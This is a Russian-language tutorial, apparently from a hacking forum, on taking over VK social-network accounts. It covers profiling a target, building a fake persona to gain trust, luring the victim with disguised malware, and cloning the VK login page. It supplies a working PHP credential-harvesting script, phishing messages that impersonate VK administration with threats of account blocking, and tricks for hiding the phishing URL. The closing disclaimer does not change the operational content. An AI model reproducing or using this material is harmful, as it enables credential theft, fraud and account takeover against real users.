Фишинг на примере vk.com

Привет! То, что сегодня опишу в данной статье - уголовно наказуемо.Поэтому я заранее подготовил несколько аккаунтов для получения к ним доступа. Больше всего внимания в этой статье я уделю социальной инженерии, так как практически все способы построены на ней.

Основные способы взлома.

К таким способам относятся:

Фишинг

Подбор пароля(Brute force)

MITM (Man In The Middle)

Используя малварь

Фишинг - способ основанный на клонировании страницы авторизации какой-либо социальной сети.

Brute Force - подбор пароля с использованием различных баз.

Этот способ не всегда эффективен но последнее время часто используем.

Используя малварь. К примеру кейлоггер. Он записывает все введенное с клавиатуры и отправляет злоумышленнику.

Шаг 1. - Сбор информации.

Всегда перед взломом(не обязательно аккаунта) нужно собрать как можно больше информации. Для начала нужно обратить внимание на страницу пользователя. В качестве примера возьмем социальную сеть Вконтакте. Обратите внимание на посты закрепленные на странице у пользователя, на его статус. Также попробуйте разобраться какую музыку любит пользователь, обратите внимание на фотографии пользователя. Из всего этого можно взять много информации. Теперь обратим наш взор на контактную информацию. Советую записывать найденные вами данные. Чаще всего номер либо не указывают, либо пишут не верный. Город тоже важная деталь.

Теперь перейдем к взаимодействию с пользователем. Вот тут мы отработаем наши навыки в социальной инженерии. Создаем страницу в этой социальной сети(в нашем случае вконтакте). Я создал страницу молодой девушки и добавил на страницу много различных фотографий. Раскрутил страницу для меньшей опасности раскрытия. Нужно не торопится и немного потренироваться в социальной инженерии
(О социальной инженерии расскажу в следующих постах )

Шаг 2. - Выбор способа.

Здесь все зависит от того как вы вошли в доверие. И еще, не важно какой способ вы выберете первым. Если не сработает один способ можно попробовать другой. Повторяюсь, все зависит от того как вы вошли в доверие.

Представим что я узнал только то, что человек любит смотреть Аниме. В этом случае я могу первым выбрать фишинг или отослать ему малварь. Под предлогом "Смотри! Серия которой еще нет в эфире". Человек скачивает , открывает(правда придется помучится с форматами файла и обходом av) думает что все нормально. Но при следующем его заходе в социальную сеть данные отправляются нам.

Если же вы плохо вошли в доверие, но сумели собрать достаточно информации, то можно изначально подобрать пароль. Основываясь на полученной информации можно составить много паролей. Правда перед этим советую поискать по базам со стандартными(часто используемыми паролями).

Шаг 3. - Осуществление способа.

Фишинг.

Это способ является самым популярным. Но я внес некоторые свои изменения и упрощения. Давайте создадим фишинговый сайт по подобию все того же вконтакте. В добавок хотел бы сказать что фишинг уже не является эффективным способом. Но для общего понимания мы его разберем.

1. Переходим на страницу авторизации --> пкм --> сохранить как --> test_fish.

2. Теперь при помощи текстового редактора откроем файл test_fish.

Первым же делом ищем

И меняем его на

Теперь ищем строку 215 - 219( js код)

Над ней пишем

<!--

Далее ищем строку закрывающую тело тега script.

И после этой строки снова пишем

Код:

-->

Тем самым мы за комментировали js код который нам не пригодится и может вызвать торможение в работе. Осталось сохранить этот файл.

Что же, а теперь создайте файл logs.php с таким содержимым:

<?php

$login = $_POST['email'];

$pass = $_POST['pass'];

$file = fopen("my_pass.txt", 'at');

fwrite($file,"Login --> $login\nPass --> $pass\n-----\n");

fclose($file);

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vk.com'></head></html>";

Наконец мы дошли до финальной части создания фишинга. Осталось закинуть все созданные файлы на хостинг.

В этом вам может помочь программа FileZilla(это на случай если вы любите простые вещи). Название сайта лучше создавать не похожее на название социальной сети. Часто из-за этого некоторые хостинги блокируют ваш фишинг.

И после ввода некоторых данных убеждаюсь в стабильной работоспособности фишинга

В конце концов применим социальную инженерию. Здесь как раз таки понадобится информация которую мы собрали ранее. Напишем все той же "жертве" из примера что-то такое:

Привет!

Недавно открыли фанфик. Там много аниме с хорошей озвучкой все как ты любишь).

Держи <ССЫЛКА>

Или же можно поступить интересней.

Попробуем воздействовать на "жертву" как администрация.

Для этого на фейковом аккаунте создаем паблик.

И в названии указываем “Администрация”

Далее загрузим аватар как у админа И начинаем создавать заметку в сообществе

...

Уважаемый пользователь!

Мы заметили на вашей странице подозрительную активность и были бы признательны, если вы перейдете по ссылке ниже и заполните анкету. В случае отказа нам придется заблокировать доступ к вашему аккаунту.

Ссылка(Фейк): http://feyk-site.com

@id(ид номер пользователя)

Как обезопасить фишинг

Во всем есть свои минусы. Фишинг палится не так части внешним видом, как самим url на него.

Давайте попробуем обезопасить его простейшим скриптом. Скрипт будет открывать какую-либо новую вкладку, а ту вкладку с которой перешли на фишинг заменять самим фишингом. Читается не понятно, но на деле все просто.

Сам скрипт выглядит так

Его сохраняем как index.html

И при переходе увидим профит

Для скрытия нашего URL мы можем использовать следующие способы:

1. Сокращение ссылки.

2. Используя blogger.com

Сократить ссылку мы можем на различных онлайн сервисах, это сделать очень просто.

Так что мы рассмотрим только способ 2.

1. Переходим на blogger.com

2. Регистрируем аккаунт à блог

3. Переходим к пункту шаблон à изменить html

4. На стороннем ресурсе сократить ссылку на фишинг

5. Вставляем в теле <head></head> код ниже

И соответственно сохраняем. Теперь ссылка на блог будет ридеректить жертву на ваш фишинг причем вконтакте не спалит.

Надеюсь понятно объяснил)

И ещё раз предупреждаю эта статья носит исключительно ознакомительный характер .